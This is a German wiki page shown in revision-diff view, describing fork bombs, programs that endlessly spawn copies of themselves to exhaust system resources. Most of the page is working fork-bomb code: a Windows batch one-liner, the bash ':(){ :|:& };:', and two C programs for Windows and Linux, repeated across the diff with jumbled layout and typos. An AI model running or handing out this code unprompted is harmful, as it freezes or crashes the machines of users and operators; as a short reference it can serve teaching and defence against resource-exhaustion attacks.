Forkbomb: Unterschied zwischen den Versionen

Aus Foxwiki
Keine Bearbeitungszusammenfassung
Keine Bearbeitungszusammenfassung
Zeile 10: Zeile 10:
   %0|%0
   %0|%0


===programiersprache c unter windoes===
 
  #include <windows.h>
int main(int argc, char **argv) {
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  while (1) {
  SetConsoleCtrlHandler(0, 1);
  CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
  }
  return 0;
Linux debian
Linux debian


Zeile 15: Zeile 28:
   
   
   :(){ :|:& };:
   :(){ :|:& };:
===Programmiersprache C unter linux===
  #include <unistd.h>
int main(void){
    for(;;)
        fork();
    return 0;
}

Version vom 17. Juli 2019, 11:45 Uhr

Beschreibung

Eine Forkbomb, auch Rabbit genannt, ist ein Programm, dessen einziger Zweck es ist, rekursiv Kopien seiner selbst zu starten, alle verfügbaren Systemressourcen zu verbrauchen und so das System zu blockieren.


Microsoft-Windows-Batch-Datei

Option

 %0|%0

programiersprache c unter windoes

 #include <windows.h>

int main(int argc, char **argv) {

 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 ZeroMemory(&si, sizeof(si));
 si.cb = sizeof(si);
 while (1) {

SetConsoleCtrlHandler(0, 1); CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);

 }
 return 0;

Linux debian

Option

 :(){ :|:& };:

Programmiersprache C unter linux

 #include <unistd.h>

int main(void){

   for(;;)
       fork();
   return 0;

}